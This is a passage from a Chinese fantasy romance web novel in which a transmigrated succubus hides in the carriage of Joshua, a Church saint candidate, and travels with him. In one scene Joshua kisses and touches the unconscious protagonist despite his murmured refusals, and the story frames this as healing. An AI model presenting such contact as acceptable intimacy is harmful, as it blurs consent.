“我已经取来了圣物,那个恶魔一定跑不远。” “恶魔受死!!!” 好吵。 仿佛闷久了突然被打开了窗户,新鲜空气一瞬间涌进鼻腔,却只带来一阵阵虚弱和焦躁。 楚青琅猛地睁开眼,只看见头顶周身密密交叠的树叶和灌木丛,还有稀疏的阳光。 他现在是在被追杀? 下一刻,灼热感传来,朦胧间,他仿佛听见了一声脆响。 楚青琅猛地抬手捂住脸,痛呼被他挡在齿关,咽下。 他用衣服将自己遮挡蜷缩了起来。 耳边的交谈声和马蹄声逐渐远去,那种突如其来的灼痛感也消去了许多。 应该并没有发现他。 楚青琅谨慎的半趴,拨开挡着视线的树叶看着外面。 树木根系发达粗壮,宽大的树叶落下交叠,土地上有着有马蹄的印记。 哪怕并未再次听见那些人的声音,楚青琅依然冷静的在这里埋伏了许久,直到天色昏暗。 就在楚青琅准备起身时,从树上忽地跳下一个人影。 黑色披风随风翻卷,仿佛鸟儿的翅膀一般,里面穿得长袍直直盖住脚尖。 手中握着一柄长剑,面容被面具遮挡,声音沙哑。 “未发现恶魔。” 脖子上的锁链发出细微亮光,仿佛又吩咐了什么,追杀来的人转身快速离开了此地。 借着刚才那点亮光,楚青琅看见他所带的面具是纯白色。 空洞的眼睛下方,不知是画着还是嵌着一串的红色泪滴,另一边是一柄剑的模样。 真是谨慎。 在确认人消失的时候,楚青琅松了一口气。 他这才连忙爬起来,检查起自己来。 刚刚只顾着隐蔽了,根本没有时间来想自己的身份还有现在的情况。 他穿着披风,里面紧身半袖,露出臂膀,下身是不知道什么皮做成的裤子,摸起来倒是柔软轻便。 白皙肩膀连着手肘满是伤痕,腰腹处有着剑伤, 血腥气很浓郁,只是不知道那些人为什么没有发现他。 楚青琅在身上摸索了一下,从兜里掏出了一个宝石,鲜红的颜色雕刻成了心脏的模样,只是上面已经布满了裂痕。 应该就是这个东西一直在保护他。 沉思中,脚踝传来束缚的感觉,楚青琅下意识的低头看去。 漆黑的如蛇一般物体,缠绕在小腿脚踝处,鳞片坚硬。 还有一个软软的三角形状,尖端带着一点红,摸上去烫烫的……从脊椎生长出来…… 哪家好人还有个尾巴啊?! 楚青琅被自己摸的打了一个激灵,他赶忙松手,那条尾巴在他腿弯处拍了拍,然后又像是装饰一样缠在了腰间。 原来他真的是那些人口中说的恶魔。 他还以为只是那些人对异端什么气愤的称呼。 就是不知道他是什么恶魔,被追的这么惨。 想起记忆中关于恶魔的形象,楚青琅又伸手摸了下脸。 五官具在,也没有变形扭曲,只额头上有着两个角,尖尖地,摸上去地感觉和尾巴相似。 这到底什么恶魔,弱点怎么这么多? 楚青琅松开手,用兜帽将自己遮起来,还好只要不是故意抚摸,无论尾巴还是角,都不会再传来异样地感觉。 他将这个宝石重新塞回兜里,并未轻易移动,而是找了一棵树爬了上去。 那些人虽然走了,但是他并没有看见他们是朝着那个方向离开的,万一撞见了不就完蛋了。 而且他现在身上还有伤,在陌生的环境久更加需要谨慎。 还是等到天亮好了。 楚青琅靠躺在树上,揪下一片宽大地叶子,将自己掩藏在黑暗中,闭目养神起来。 腰间的尾巴下意识地缠绕在树枝上,保持着他的平衡。 体内那种焦灼虚弱的感觉再次涌来,就仿佛他是已经枯萎的叶子,急需要浇水和阳光。 但是依照现在的情况,他只能忍耐。 楚青琅蜷缩着手指,无意识地抚摸着无名指的戒指,却摸了一个空。 他微张双眼,看了一下,又收回了手。 就像是主系统所说的那样,系统光屏已经彻底打不开,他就相当于一个小世界地本土人物一样。 还是带着危险的。 楚青琅渐渐陷入浅眠。 远处。 车队缓缓行着,穿着铠甲驭着马的骑士挥手,身后的车队就迅速停下。 随即他调转马头,走到中间的马车旁下来,双手交叉行礼道:“约书亚大人,前面就是禁魔林了,穿过禁魔林后就是失落之城·锡城,但是根据教会传来的消息,此时禁魔林里面有一个恶魔逃了进去,所以您很有可能会碰见危险。” 声音落下,车窗里面却并没有传来任何声音。 玻璃后厚重的天鹅绒窗帘垂下,上面绣着金色紫色的图案,是代表着圣洁的橄榄枝和荆棘冠。 骑士并未着急,依然安静的伫立再原地,等待着吩咐。 很快,窗帘被一只手撩开,里面传来一道冷淡的声音。 “别的候选人已经过去了是吗?” 骑士低头。 “是的,约书亚大人。” 五十年一次的圣子选举,候选人足有上百位,从上百位中只挑选十位,而胜出者仅会有一位。 中间的厮杀可想而知,现如今已经到了最后的关头,谁能够将教会的信仰重新栽种进失落之城的百姓心中,就能够彻底夺得胜利。 只是可惜的是去失落之城的道路并不平坦,不光有魔物,还有各种叛逆试图刺杀。 约书亚大人是其中的佼佼者,实力强大,面对魔物刺杀也可以制服他们。 只是可惜心肠太软,碰见生活贫苦的人一定要搭上一把手,这才耽误了去失落之城的进度。 现如今,其他的候选者已经先行赶了过去,约书亚大人的处境,很危险啊。 约书亚自己也明白这个道理。 他掀开窗帘,朝前方看了一眼,说:“没关系,先赶路吧,这次捉拿恶魔的是裁决所的大人们,他们实力很强大,那个恶魔跑不掉的。” “是,约书亚大人。” 骑士得了命令,又行了礼,转身上马重新来到了队伍前面。 马车很快重新前进,微微的晃动中,勾着窗帘的手松开。 窗帘顺势合拢,将幽黄的灯光吞噬。 窗帘两旁,固定在墙壁的吊灯灯壁造型精美,浮雕上刻着串串饱满的葡萄。 下方是木制的书桌,坐在里面的人金发蓝眼,神情虔诚安宁。 白皙的指尖划过桌子上摊开的书籍,他拿起一旁的羽毛笔缓缓勾画起来。 墨汁如水珠滴落,发出了轻微的啪嗒声。 楚青琅下意识的捂住脸,从浅眠中惊醒。 攀着树枝的尾巴不知何时又缠绕在了腰间,带着一点红色的尾端轻轻划动着,很好的反映出了心情的焦躁。 此时天色已经蒙蒙亮,可以看见稍远处的道路,他将身上已经积蓄了一些露珠的宽大叶片拿开,准备翻身下去。 现在正是时候,经过这么长的时间,那些追杀他的人应该已经走远了,他不需要担心撞见他们了。 楚青琅拍了下晃动的尾巴。 “安静点。” 可能因为之前他从来没有尾巴过,所以完全不知道怎么控制它。 就像是多长出了一只手一样,感觉真的很奇怪。 楚青琅轻巧的落下,分辨了一下方向。 地上有着不少的马蹄印记,记忆中那个带着面具的人的方向同样是朝着马蹄的方向而去的。 那他走反方向不就行了。 他就不相信了,这样还能撞见那些人。 楚青琅果断转身,捂着伤口朝着前面跑去。 他现在需要治疗,不知道怎么回事,那种焦渴感越来越强烈,周身的伤痕也更加痛了起来。 两旁树木高大的异常,地上同样生长着从未见过的植物还有一些动物。 楚青琅掏出长靴里面的匕首,对这个陌生的环境提高了警惕。 古老的树林中,黑影快速的移动,经过时,一股甜蜜诱人的香气被留下逸散。 原本安静死寂的森林忽然躁动起来。 地上鼓出大包,模样怪异的魔物尖啸一声,冷黄双瞳朝着香气消失的地方望去。 依然在奔跑的楚青琅摸了下兜里的宝石。 只能祈祷它没有失去作用。 80-90 第81章 第 81 章 神明。 余光中, 叶子是深重的墨绿色,藤蔓翠绿,树皮纹理粗糙。 没有鸟叫,没有任何生命的气息。 楚青琅心一跳, 猛地停下了脚步。 身后猛地传来冷风。 他没有回头, 直接朝着一旁扑去, 有东西擦着他的脊背而去, 留下刺啦一声。 他持着利刃转身,却只看见原本站着的地方, 已经形成了一片粘稠的发着绿意的沼泽。 两边是带着毛刺的尖锐的节肢。 他顺着仰头,瞳孔猛地一缩。 蜘蛛,很大的蜘蛛。 倒挂着,六只眼睛死死的盯着他。 口器轻动,露出锋利的獠牙, 周身尖锐的爪子深入树皮。 仿佛看见了他,涎水滴落,爪子猛地收起刺破空气朝他扎来。 楚青琅赶忙飞跃, 没有丝毫耽误朝着前面跑去。 身后的的攻击不停, 一旁的树上还时不时的有着飞虫蟒蛇袭来, 他边跑边躲,反应不过来, 就直接硬抗。 很快身上的衣服就被撕扯成了布条。 楚青琅干脆的将衣服脱下, 两步跨一步的爬上了树干,在树木之中跳跃。 茂密的树叶很好的遮掩住他的身形,但是不知怎么,身后的魔物始终跟随着他,就像是他的身上带着什么追踪器一样。 楚青琅的心脏砰砰跳动, 这样下来,他不说被那些抓住,先进这魔蛛的胃里了。 就在他即将走投无路时,不远处出现一行车队。 骑在马上的人都穿着铠甲,手中拿着重剑,中间是三辆马车,其中一辆格外的豪华。 领头的人很明显的发现了不远处的魔蛛,他挥手叫停的车队。 很快,就有几个人一齐上前,朝着魔蛛的方向追击而去。 他们身姿矫健,毫无惧怕之意。 而且,看起来很香。 脑海中奇怪的想法一闪而逝,楚青琅却只是觉得松了一口气。 看来这些人并不害怕那个东西,只要他们解决了它,他就可以离开这里了。 他紧紧的按着树皮,额上汗珠滚滚,脸色发白。 经过刚刚的奔跑,他体内的焦渴感越来越强烈,他身上绝对有问题,不知道被那些追杀他的人做了什么手脚。 远处那些人越打越远,楚青琅正准备离开,却突然僵在原地。 他低头,掌心中是彻底裂成两半的宝石,莫名的预感告诉他,这个宝石刚刚又为他挡下了一次攻击。 他很有可能会被追上。 这个森林看起来很大,他并没有地图,而且这些人看起来像是中世纪的骑士,保护的——应该是贵族。 楚青琅看着中间那辆豪华的马车,车厢周围满是繁复深刻的花纹,车窗被幕帘遮挡,看不见里面的情况。 只有一个办法了。 魔蛛尖锐的叫着,庞大的身体将周围的树木震裂倒塌。 轰隆巨响,将沉迷于书籍的约书亚惊醒。 他抬手打开幕帘,朝着外面望去,只看了一眼就明白了情况。 并未拿起法杖,眼皮微敛,他单手做出法印,为他的骑士们增加了圣光祈福。 就在他准备放下手时,一只手伸来捂住了他的嘴,脖子上传来冰冷刺痛的感觉,他的手一下子顿住。 身后贴上炽热的身躯,呼吸扑洒耳畔,“闭嘴!知道吗?” 滚烫的血腥气,黑暗的气息,还有一种甜蜜的让人心神动摇的香气。 约书亚冷静的在心中下了判断。 是裁决所追捕的魅魔。 仿佛他沉默的太久了,身后的人不满起来,捂住他嘴的手和匕首又紧了紧,沙哑的声音重新响起,“明白了就眨下眼睛。” 越书亚听话的眨了下眼。 魅魔不过是所有恶魔中最低等的存在,更何况身后的魅魔应该受了很严重的伤,不然他不应该跑到一个圣子候选人的马车上。 连基本的判断力都失去了。 嘴上的手放下,约书亚调整了一下身子,并没有在乎脖颈上的匕首,转身看去。 试图挟持他的恶魔就坐在他的一侧,甜蜜的香气源源不断的从他的身体内释放出来, 油灯昏黄的光芒浇下,将那面容照的愈发苍白。 看起来年龄并不大,不像是成年魅魔。 但是眉眼已经生长的漂亮勾人。 身体修长,尾巴在身后不耐的摇晃着,黑发下一双狭长的眼眸微眯,眼尾带着属于魅魔特有的红,瞳孔是如夜一般的黑色。 唇越往里面越红,说话间,带着引诱的肉感。 握着匕首的手白皙修长,不经意间碰到他的下颌,带着炽热的热度将他的肌肤都烫的发紧。 他从未和人有过如此近距离的接触。 约书亚身上穿的法袍感受到恶魔的气息,开始微微泛光,将金发都照的亮了起来。 楚青琅的视线在他身上停留了一下,带着惊异。 怎么回事?衣服还会发光? 但是很快他就收敛心神,重新作了一副冷淡的模样,逼视过去,“我不会伤害你,现在有人追杀,只要到了城镇我就会放过你。” 他用匕首挑了下金发青年的下巴。 “乖乖的。” 约书亚第一次近距离感受到魅魔的香气。 据说这香气有着催/情魅惑的作用,可以让一个心神坚定的神的子民背叛神明,如此可恶的造物 他面上很快泛起了红,但是一双蓝眸却依然波澜不惊。 “裁决所已经将周围的城镇都封锁了,而且你异化的外表无法遮掩,就算是到了外面,也会很快被监测阵法发现。” 监测阵法?这个世界怎么这么莫名其妙的。 而且面前这个金发碧眼的青年莫名的冷静,就算是被他威胁也没有大喊大叫,有些出乎楚青琅的意料。 看他沉默,金发青年伸手将他的手拿下,掏出了一块手帕,擦拭着脖子上的鲜血,“我要去失落之城,那里没有教会的势力,而且也没有监测的阵法,你要和我一起去吗?” 楚青琅收回手,仔细的看了他一眼。 约书亚一双蓝眼睛像是结冰的湖面,面容称得上圣洁,身上的衣服是白金色,非常具有宗教气息。 他瞬间回想起那个追杀他的人身上的衣服,神情凛然,拽着青年的脖子就将他压在了车窗上,却仿佛是将自己送进了青年的怀中。 “你是教会的人,为什么帮我?还有,失落之城是那里?” 面前的魅魔确实没有什么常识。 约书亚心中的猜想瞬间得到了证实。 他坐的车子,穿的衣服,不会有人认不出来。 但是面前的魅魔只是说他是教会的人。 约书亚看着那精致面庞上嵌着的,如夜般漆黑的眼眸,心脏不自然的跳动起来,面上的红越来越深。 好熟悉,他见过他吗? 他伸手握住魅魔的腰肢,却只是说:“我是圣子候选人,需要一个恶魔在那里,到时候我会追杀你获得子民的信仰。” “失落之城因为背叛吾神,所以被惩罚在禁魔森林后,永远承受魔物的袭击,里面的人也同样无法学习魔法。” “如果你答应,在这一路上,我会帮助掩盖你的身份,并且教导你常识还有一些简单的魔法。” 楚青琅压低身子,指尖因为身上的伤而颤抖,却强撑着没有搂住丝毫端倪。 “教完,然后在失落之城杀了我?” 约书亚金发垂在脸侧,蓝眸纯粹。 他露出疑惑的神情,“比起你现在就死,多活一些时间不好吗?而且你的魔力已经枯竭了。” “如果再不补充能量的话,你很快就会被伤痕里面的光明之力侵蚀而死,就算是这禁魔之林,你也出不去的。” “而且,为什么只有我再次遇见了你,这何尝不是神明的指示。” 好像确实是这样。 “我——” 楚青琅刚浮现这个念头,眼前就突兀的一黑,整个人断电似的栽了下去。 约书亚被砸的呼吸一沉,手顺势摸上了他的脊背,温热感从指尖传来。 他抬起手,在烛火跳动的光芒下,可以看见被鲜红血液染红的指尖。 他被蛊惑般张开了嘴,将指尖含进了嘴里。 好香。 “约书亚大人,魔物已经清除,是否需要继续前进?” 骑士的声音在马车外传来。 约书亚咽下口中的涎水,翻身将人放平,声音一如既往的空灵漠然,“就地休息,烧一些水送过来。” “是。” 盔甲摩擦的声音渐渐远去。 约书亚的视线不受控制的在楚青琅的面上流连。 从头紧皱的眉头,抿的泛白的唇,还有不住起伏的胸膛,白皙手臂搭在腰腹上,骨节泛着红晕。 手腕突然传来瘙痒感,他垂眸,发现是魅魔的尾巴。 据书籍记载,魅魔的尾巴异常敏感,因此一般不会放出来。 要不是这个魅魔体内的魔力干涸了,也不会维持不住自己拟人的外表。 他伸手握住那尾巴。 仔细的观察,一旁的羊皮纸和羽毛笔浮起,自动记载着。 触感柔韧,热度很高。 后面细密的鳞片坚硬,尾巴根部带着红,很细,越向上越粗,鳞片阖动,艳红一闪而逝。 仿佛感受到了猎物的存在,那尾巴顺势在他的手腕上缠绕着,带着紧缚的力道。 尾巴尖在他的面前颤动,上面的一点红刺入眼眸,在视网膜上留下鲜明的痕迹。 魅魔身上太多红色了,仿佛火焰亲吻了他的身躯。 鲜血,松开回血的唇瓣,眼尾,尾巴,微弯的角。 怎么能都长在这具身体上呢? 约书亚垂头,用指尖拨弄了一下尾巴。 躺在那里的人顿时闷哼了一声,随后唇张开,赭红的舌一闪而逝。 “不” 约书亚面上没有多余的表情。 他只是看了一会儿,忽然俯身,吻住了那张唇。 在舌尖相触的瞬间,一股电流顺着脊背蔓延全身,他克制不住的颤抖了一下。 他握住那尾巴尖,用掌心按压着。 魅魔需要人类的体/液才能获取魔力,这个魅魔身上的伤太过严重,但是他无法使用光明神赐予的魔力为他治伤,那样只会加快他死亡的进度。 因此,他只能用这种笨拙的办法。 约书亚伸出另一只手,按住了魅魔的后颈。 他的动作原本是慢吞吞的,但是在那仿佛婴儿般主动又贪婪的吮/吸中,慢慢加重了力道。 最有希望的光明神圣子的候选人,在马车上,亲吻了一个恶魔。 好舒服,为什么会这么舒服? 约书亚瞳孔微微放大,指尖顺着细密的发,摸到了魅魔的角。 鳞片保护着里面的柔软。 他细细的揉捏着,原本积极回应的少年却突然偏转了脸。 涎水顺着脸侧滑落,脖颈处的肌肉收紧,青色筋脉如蛇浮动。 “别碰——别——” 白色的法袍几乎将少年完全遮挡。 黑发黑眼的魅魔眼珠快速转动,却因为身体的疲累怎么也清醒不过来。 指尖攥紧了身下柔软的毛毯,下颌紧绷,白皙的颈子仿佛透明,映出里面淡紫色的血管。 就连胸膛都不住的起伏着。 金发碧眼的圣子撑在魅魔的上方,眼珠一动不动。 在被尾巴又一次的缠住后,他掐住少年的下颌,重新亲了上去。 “你需要我。” “别拒绝。” 楚青琅只觉得身上的灼热感渐渐被一抹甘霖压下了些许,但是很快那感觉就又反扑上来。 身体上的触感鲜明,是谁抚摸了他的身躯还有尾巴。 额角上传来湿濡的感觉。 汹涌的快/感和依然渴望的欲/望交杂,让他几乎感到战栗。 他想要躲开,但是那折磨依然如影随形。 还不如痛一点。 楚青琅想,这种分明是一种惩罚。 他心中生出怒意,极力想要挣脱那人的束缚,重新控制自己的身躯。 却猝然感觉到一种快速的下坠之感。 他猛地调整姿势准确落地。 只听见了一声闷闷的哼唧声。 声音离的很近,几乎就是贴着他的耳边发出来的。 眼皮遮挡不住光芒,楚青琅这次轻松的睁开了双眼,他迷茫又警惕的望了过去。 这里像是书房,两面的墙壁做了嵌体书柜,上面放着许多的羊皮纸。 系统光屏突兀的闪烁了一下。 【主系统:神明和恶魔同步争夺,一个都不要选。】 楚青琅还没来得及看清主系统发的话,光屏就消失不见。 看来这个世界真的很危险。 主系统才会在他到来后几次三番的提醒。 这样想着,楚青琅突然发现自己的视角很低。 疑惑的抬起手,白皙的,短短的,骨节上还带着肉乎乎的。 小孩子的手?! 他震惊瞪大了眼,刚准备站起身,却发现身体快速的升起。 一双手将他抱了起来。 身后传来清雅温柔的声音,“青琅,怎么又掉下来了?” 楚青琅转身,那双手也配合的改变了姿势,拖住他的腿弯。 抱着他的人有着一头金发,面容漂亮,琥珀色的瞳孔如蜜一般。 楚青琅连忙摇头,随便找了个借口。 “做噩梦了。” 看着他恹恹的神情,金发青年担忧的抚摸了一下他的面颊,“一定是之前和恶魔的战争吓到你了,我们去泡一下圣池好不好?” 楚青琅根本不知道圣池是什么,不动声色的伸手揽住青年的脖颈,点了点头。 得到回应的青年转身带着他离开了这里。 外面长廊两旁满是厚重的帷幕,白金两色的浮雕上是带着翅膀的雕像。 像是天使。 眼前飘起一片洁白的羽毛,楚青琅下意识的伸手抓住,却感觉自己身体一轻,被带着从长廊一侧大开的窗户飞出。 他连忙抓紧了青年,便看见青年背后伸展出一对宽阔神圣的洁白翅膀,正在微微阖动。 天使? 他到底在哪里?! 楚青琅几乎死机,他压着手下的肩膀,伸手摸了下翅根。 搂住他的手臂一紧。 青年说:“青琅,翅膀不能随便摸的。” 楚青琅没有说话,他将手后背,又摸了摸自己的脊背。 青年看见,叹息了一声,控着翅膀停在了宽阔的广场上。 他捧着楚青琅的脸,凑近用那双温软的眼眸注视着这个黑发黑眼的孩子。 “就算青琅的外表和我们不同,也没有关系的,翅膀并不代表什么,我们都是父神的造物,是平等的。” “我已经将你的容貌遮挡了,不会被别的天使发现你的身份的,别担心。” 如果真的是平等的,天使和恶魔怎么还会开战? 楚青琅只通过这段话得出来一个信息,那就是他并不是天使,至于是恶魔还是什么,现在信息不足,无法推断。 而且,他应该是被伊莱亲自从战场上面带回来的。 楚青琅看着面前的天使,歪了下头。 “那我叫你什么?” 伊莱眨了下眼,还以为他在和自己玩笑,“叫我哥哥或者伊莱都行,还是青琅想称呼别的?” 楚青琅摇了摇头,“伊莱。我没有不舒服了,我们去逛逛好不好?” 伊莱并没有因为他的反复而生出什么怀疑,甚至更加怜惜起来。 “好,想去哪里?” 楚青琅搂住他的脖颈,“哪里都想去。” 伊莱轻抵了一下他的额,却并没有改变计划。 “好,那就先去圣池看看,然后带你去艾斯维那里,他准备组一个圣乐团……” 目之所及,满是浅淡的雾气,层层叠叠的罗马式宫殿拔地而起,圆形的拱劵立柱深邃,宽阔宏伟。 上面浮雕繁复,水晶黄金使用率极高,质感高贵纯洁。 在高高的立柱下,不时有着穿着飘逸垂坠长袍的天使走来走去,后背翅膀优雅收拢,神情都是相似的安宁平和。 楚青琅被伊莱抱着走进来时,都友好又温柔的向着他们点头,仿佛从来不会有负面情绪一般。 不知从哪来的的赞歌飘扬在空中。 伊莱侧头对着他说:“这就是艾维斯在训练了,很好听不是吗?里面有很多小天使的,你想去看看吗?” 楚青琅挣了下,伊莱就将他放下。 他说:“不要。” 他又不信仰神明,去唱什么赞歌。 纯白的地板,踩在上面发出啪啪的响声。 楚青琅牵着伊莱朝着前面走去。 穿过一扇扇的方形窗,经过一座座雕塑,两人走进一处宽阔的大厅。 许多小天使在里面被抱着,有序的泡进去,又被捞出来。 楚青琅松开伊莱牵着他的手,快速的跑了过去。 他蹲在圣池的边缘,通过那清澈见底的水面,看见了自己的样貌。 黑发黑眼,眼睫毛很长,额上的角小小的,但是不是没有,背后是黑色的翅膀。 薄而坚韧,伸展开来,可以看见骨节上覆盖的翼膜,细微的血管在充裕光芒的照射下清晰可见。 身后,金发琥珀色双眼的伊莱走进,掐着他的腋窝将他拽起。 “别害怕,吾祝福过你,不会受伤的。” 楚青琅踢蹬了下小腿。 “我为什么会在这里?我应该在……”他委屈道:“我应该在恶魔那一边。” 伊莱把他翻过来,将他搂紧。 一双琥珀色的眼眸满是忧伤,没有说话,带着他走下了圣池。 楚青琅转身抓住他的发,“我要长大。” 他现在还不清楚自己是怎么突然来到这里的,总不能是依靠做梦? 而且他还要找他的恋人呢,总不能一直是小孩子的形态吧?那也太不方便了! 伊莱的脾气是真的好,就算是被他这样拽着,也依然保持着面上的平和。 他说:“好,只要青琅乖乖的,我就让你长大好不好?” 楚青琅皱了下眉,勉强答应了下来。 “嗯,那要快点。” 不管什么问题,只要见到神一切就都清楚了。 伊莱笑着捏了下他的脸。 随后让他坐在腿上,伸手捧着一碰圣水浇在他的肩头和头上。 温柔的,湿漉漉的,从头颅蔓延的手臂。 仿佛体内缺乏枯萎的筋脉被重新注入了新鲜的血液,心脏快速有力的跳动起来。 楚青琅一阵眩晕,猛地睁开眼。 他下意识的抬手遮挡外面充足的光芒,却发现自己手中是金灿灿的发。 “伊莱?” 他叫着刚刚还在自己身旁的人。 却只看见一张约书亚面无表情的伸舌,在他的伤口舔舐着。 一双湛蓝的眼眸,正直直的望着他,里面没有丝毫羞耻意味。 酥麻的感觉传来,楚青琅顿时感到了不适,他伸手攥住了青年的脖子,将人推开。 “你在做什么?!” 约书亚并没有忽视他刚刚叫的名字,瞥了一眼依然被他攥在手中的头发,被迫仰头道:“你不知道吗?你体内的魔力已经耗尽了,所以才会突然晕过去,我在帮你疗伤恢复魔力。” 什么疗伤方式需要这样?! 楚青琅深呼吸了一下,“你在开玩笑?” 约书亚说:“你是魅魔,魅魔需要人类的□□才能恢复,口液是不可以的,圣子不能破身,而且你的身份不能被旁人知晓。” “血液也不可以,圣子在处于候选阶段,不能流血,那是对神的大不敬。” 所以最好的方式就是用嘴。 楚青琅反应过来,张了张嘴,忍不住看了一眼缠绕在腰腹上的尾巴。 第82章 第 82 章 要克制。 楚青琅看他说的不像是假话, 缓缓松开了手。 不管怎么说,就算是治伤的方式再怎么羞耻,受益者也是他。 而且,这个圣子对他的态度很微妙啊。 是他吗? 楚青琅调整了一下表情, 狭长的双眼微弯, 琉璃般的瞳孔带着惑人的色彩。 “弄痛你了吗?” 约书亚将散乱的发捋回, 闻言顿了一下, 随即摇了摇头。 “该启程了。” 楚青琅看了看周围的环境,发现他们所处的地方应该是一顶帐篷。 莫名的, 原本担心的情绪突然松懈了下来。 就在他观察的时候,约书亚拿过来了一件兜帽披风,“你出去就说是我的贴身仆人,这个披风我加上了隐匿你气息的法阵,不会被别人发现的” 一股力道传来, 约书亚踉跄了一步,伸手按住了床边,将少年压在了身下。 但是他克制的, 并未和少年有着丝毫的身体接触。 只是安静的, 悠长的呼吸着。 楚青琅后仰身子, 抬手掐住他的下巴,仔仔细细的观察了一下, 试图找到一些像恋人的证据。 但是不知道是他隐藏的太好, 还是什么,他竟然有些不确定了起来。 就在他要松手的时候,约书亚突然用腿顶开他的膝盖,压低了身子。 鼻尖摩擦,呼吸交融, 湛蓝的眼眸牢牢盯着他的脸,胸前的十字架在空中荡着。 “又难受了?” 他刚想摇头,却被直接咬住了唇瓣。 舌尖破开他的牙关,渡来微凉液体,楚青琅不自觉的咽下,炽热的魔力汹涌而来,顿时让他头脑懵了起来。 他主动伸出了舌,和约书亚纠缠起来。 到最后,感受到另一人即将退出的时候,不甘的咬了下去。 却被一只手按住了牙齿。 少年眼尾的红晕越发浓郁,湿漉漉的唇张着,森冷的尖牙将上唇顶的微翘,明明是嗜血的恶魔,却有着一副无辜深情的面孔。 约书亚缓缓放开了手,他说:“要克制。” 吃到一半饭碗被人掀了,那人还吝啬的不给他更加充沛饱腹的食物。 楚青琅不满顿生,“就算是流血了又怎样,神又不知道。” 约书亚垂下眼皮,拽起他的手腕将他拉起,将披风为他带上。 “神无所不知。” 楚青琅翻了个白眼,顶开他的肩膀朝着帐篷外走去。 身后,约书亚顺势后退,为他让开了道路,直到人走出了帐篷,他才抬起了手。 指腹上还带着水色,属于魅魔的香气浅淡到几乎嗅不到。 钝痛褪去,只留下了一股胀痒之感。 帐篷外,骑士长的声音响亮恭敬。 “约书亚大人,是否要即刻启程,时间已经不多了。” 青年这才反应过来,他不知何时已经将指尖放进了嘴中。 眼睫轻颤,他松开嘴,拢手,将那香气握散。 “启程。” * 楚青琅出来的时候,周围的人并没有对他的存在表现出异样,甚至都没有多看他一眼。 他也没有什么想法,只是仔细观察着这些队伍。 除了他身后的帐篷以外,别的人都是就地休息的,就算是受伤的人也是一样。 此时不远处的篝火已经被灭掉。 骑士身上的铠甲,带着密密麻麻的符号,看不清楚是什么字,只是看起来就让他觉得刺眼。 想来应该是专门克制恶魔这种生物的。 楚青琅捂了下眼,转身先行上了马车。 马车格外的奢华,天鹅绒窗帘,丝绸坐垫,书桌上摆放着一排排的书籍。 楚青琅有些无聊的摆弄着桌面上面的羊皮纸和羽毛笔。 他又想起了那个梦。 应该是梦,不然他怎么会去了神国,还看见了天使。 现在得知了他是一个魅魔,那么那个天使为什么要将一个魅魔带到神国?总不能是因为心软。 如果再次进去的话,他需要在那里隐藏好身份,尽快恢复大人的身份,然后离开神国。 他并不觉得自己可以在神明眼皮子底下藏起来。 手无意识的拿起羽毛笔,试图写出字来,却发现无论怎样都无法流畅的书写。 一只手从身后伸来,覆上手背带着他缓缓移动着。 很快,淡黄色的纸张上就顺利的显出了一道道优美的字迹。 窗帘合拢,马车重新行了起来,细微的晨光钻进,在笔尖上留下一道道边缘模糊的光斑。 楚青琅松开手,直接靠在了刚刚上来的约书亚的怀中。 他仰头,看着约书亚挺直的鼻梁,和微抿的唇。 “身为圣子,却这样对一个恶魔,你不怕神对你感到失望吗?” 约书亚眼皮垂下,坐在身后将他的重量全然接纳。 “不会的,我行走在觐见神明的道路上,目标从未改变。” 这样官方的回答,使得楚青琅面上的表情都差点维持不住。 他闭上嘴,侧头,直接将人压在了窗口,啃噬着他的脖颈。 好烦,不让他吸血至少让他咬两口解解馋。 只是嗅到香气就感觉干瘪的灵魂变得充盈起来,楚青琅尖牙瞬间露出,他克制不住的想要咬下去,却又一次的被指腹挡住。 楚青琅回神,不耐的瞪了他一眼。 约书亚却依然一幅冷淡圣洁的死样子,眉头微皱,“我现在教你怎么运行魔力,你身体里面的那些魔力够你坚持到失落之城了” 原本楚青琅不应该这么着急的,但是他现在的身份特殊,体内的魔力只能够堪堪维持着他的行动,就连尾巴都蔫蔫的搭在腰间一动不动。 总的来说,就是他饿的狠了。 楚青琅舔舐了一下尖牙,想起围绕在篝火旁休息的骑士身上的伤痕,心中顿时有了想法。 他没办法强迫约书亚,但是他还不能出去觅食吗? 反正这个林子里面的魔兽很多,他们总有受伤的时候。 楚青琅想通了,也就不再冷脸,他转身坐在约书亚的腿上,搂着肩膀重新吻上约书亚的唇,将他说的话堵住,不断的汲取着。 时间一点一滴的过去。 手下的肌肉从紧绷渐渐变得柔软。 楚青琅听见外面又传来击打的声音,间或有着魔物的凄厉尖叫。 湿热的舌细细摩擦着,魔力传来,虽然细小,但是也算聊胜于无,楚青琅满足的眯了眯眼。 这次袭击过来的魔物好似非常强大,直到楚青琅吻的舌头都麻了,压下了那股突如其来的欲/望后还没有结束。 他收回舌,不顾约书亚追随的动作掀起窗帘朝外望去。 身后,约书亚的眼眸在他离开的瞬间从混沌恢复了清醒,扣住他的腰肢的手,不由自主的又紧了一瞬。 楚青琅看着不远处倒塌的树木还有溅起的灰尘,心脏微微提起。 别啊,要是那些骑士打不过魔物,他还怎么走出这里。 对了,约书亚是圣子,圣子应该是魔法师,会祈福什么的吧? 楚青琅转身,伸手拍了拍约书亚的脸,勾起他的下颌说:“你的骑士要死光了,你怎么一点都不着急呢?还在这里和我接吻,你怎么当圣子的?” 约书亚湛蓝色的眼眸落在他微翘的唇上。 莹润柔软,吃起来的感觉很好,几乎让人欲罢不能。 但是却能颠倒是非的把自己的引诱变成他人的意志不坚。 不过,也并没有错不是吗? 约书亚微不可察的笑了一下,他抬手,在空中描绘了什么,一个阵法转瞬在楚青琅的眼前形成。 金光闪闪,带着莫名的危险气息。 在他的眼中,那双白皙修长的手朝着前方一推,从法阵中就涌出了一道刺眼光芒,径直穿过车门,飞了出去。 下一瞬,魔物凄厉的惨叫声戛然而止。 马蹄声在车窗旁停下,骑士的声音响起。 “感谢约书亚大人。” “你们没事就好。” 约书亚说完后慢条斯理的收回手,随即交叉双手垂眸默念着什么。 金灿灿的发丝垂在两边,湛蓝眼眸被遮住,神情格外虔诚。 楚青琅只有一个想法。 这人对他确实够温柔了,幸好他坚持了自己的底线没有强迫人家吸血。 “约书亚?” 楚青琅伸手戳了戳他的肩膀,又拽了下他的发。 但是应该是在祷告的青年没有丝毫反应。 他双眼一亮,从人家腿上下来,整理了一下兜帽,打开了车门。 身后,那湛蓝色的双眸缓缓睁开,却只看见重新合拢的窗帘。 毫无自制力,只追求本能欢愉的,魅魔。 * “大人?您有什么吩咐?” 在外面驾驭马车的人疑惑的询问着。 